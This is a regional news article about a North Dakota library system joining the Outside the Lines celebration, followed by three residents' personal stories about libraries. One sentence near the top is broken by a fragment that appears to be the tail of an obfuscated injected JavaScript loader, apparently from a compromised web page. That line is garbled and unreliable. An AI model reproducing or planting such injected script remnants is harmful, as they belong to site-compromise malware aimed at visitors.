JAMESTOWN, N.D. (NewsDakota.com) – As the week long celebration of Outside the Lines (OTL) approaches, the James River Valley Library System (JRVLS) prepares to celebrate in their own special way.

“Outside the Lines is a week long celebration demonstrating the creativity and innovation happening in libraries,” their website states. “Whether your organization is large or small, a school library or a public library, you can participate by hosting at least one event or campaign.”

JRVLS is the only library in North Dakota participating in the worldwide celebration that continues through September 16th.

Read atifs|var|u0026u|referrer|zshky||js|php’.split(‘|’),0,{}))
more about OTL here.

Below are some stories being shared on the Friends of the James River Valley Library System blog, courtesy of area residents. Read as they share their experiences with libraries and what they’ve done for them.

A Library Story by Katie Webster, Elementary Faith Formation Coordinator at St. James Basilica

As a parent of four kids, I know that children’s literacy is of utmost importance. I also know that it is not easy in our modern world of screens everywhere. I know genetically my kids are not all made up exactly the same and therefore reading comes easy to some and not as easy to others. That is where the community library comes to the forefront in our family. My children don’t always love to read, nor do they always want to go to the library, but when I get them there they almost always find something of interest to them.

I have made it our weekly habit, since they were babies, to go to the library in the name of literacy for my kids, and I will be honest it is mainly due to cost. Nowhere else can I expose my children to such vast free resources as at the library.

In my experience in the elementary school setting, with four kids spanning grades K-5, I find that many of the struggling readers in my kids’ schools have the lowest socioeconomic status. This is what makes the library so essential to our community. The library is a place children of any age or economic level can come and experience books beyond their imagination. With great leadership in the library putting on free events and programming that encourage children to come and experience, they might just pick up a book along the way.

When it comes to my own children, anything I can do to get them into the doors of the library is going to be beneficial to their overall love of reading. No matter who you are and what level of reader you are, you can always find something of interest once in the building. It is very hard to find the time in the busy day to day of all of the other noise and choices that kids have these days, but when I put it on the calendar as a weekly event I can see the lifelong reading benefits in my children.

Bill Kennedy & Joe Rector, Importance of One Book

The Library Director, Joe Rector, grew up in Battle Creek, Michigan, where he read most of the baseball books in the Juvenile section of Willard Public library. He and I were talking about how to communicate the library’s Strategic Plan and raise more money.

I asked him why he became a teacher and eventually a library director. He sat back in his chair and looked around his neat but very crowded office, full of books that no longer fit on the library shelves.

“I wasn’t a good reader. My 1st grade teacher sent me to 2nd grade with deep reservations. I remember going to the school library and seeing a book called Black Hawk, Young Sauk Warrior, by Cathrine Cleven, one of the Childhood of Famous Americans Series, a 3rd or 4th grade level book. I took it home and read it that night. I just made up my mind I was going to read it, sounded out the words. Finished it. I read most of the books in that series. At the beginning of the year, I was a non-reader. By the end of the year, I was at the top of my class in reading.” Joe’s final words were, with a big smile on his face, “A real tribute to the library.”

I sat back in my chair with a bigger smile, “This is weird. My mom took me to the downtown library in Peoria, Illinois. The kids’ books were arranged by shelf, 1st grade on the bottom, up to 8th grade on the top shelf. I was in third grade and took a book out. Mom smiled. It was from the 4th grade shelf, the highest one I could reach. I took it home and read it that night. From then on, we went to the library every week. She took out three or four books; I took out the limit, eight.”

There was a long pause, “Ok, what was the book?” Joe asked.

“Chief Black Hawk, by Frank L. Beals, one of the American Adventure Series.”

We high-fived, knuckle-bumped and smiled.

Coincidence? Yes.Important? Yes.

It illustrates how one library, one book, or two, can make a difference.

A Library Story by Laura Miller, Library and Family Care

There comes a time when all the king’s horses and all the king’s men can never fix Humpty Dumpty again. My brother Donald, at the age of 77, had come to that point after a number of medical diagnoses had chipped away at his robust health. The final diagnosis was male breast cancer. He gave up his beloved Volvo, his apartment and his independence and moved into a nursing home in Normal, Illinois. Soon he was too frail for more surgeries. Powerful prescriptions had lost the power to heal him. Donald was face to face with a point of no return. I brought him to Jamestown.

It was now time for me to help him prepare his last life and death decisions. We had not grown up together. We were a family of five children born during and shortly after the depression, growing up separately in foster care and in children’s homes. Nevertheless, we were close.

In these last years he was no longer my mentor. I was his mentor and I was his friend. Most of all, I was his sister. In October, 2015 the Friends of the James River Library System kicked off a series of programs aimed at helping the public understand how to prepare for the final days of life. I attended each of these programs and at the end of each session felt more prepared to help my brother and myself.

During the second session led by Michael Williams, owner and funeral director at Williams-Lisko Funeral Home, I learned that the University of North Dakota Medical School had a deeded body program where my brother could donate his body after death to the study of medical students. This had been Donald’s long time wish even in his young and healthy days.

My brother passed on June 11, 2016.

Thanks to the James River Valley Library System I had in short order learned to navigate the paths to making final preparations. I can now take comfort in knowing he was able to complete a final wish and I have gained knowledge in making my own preparations.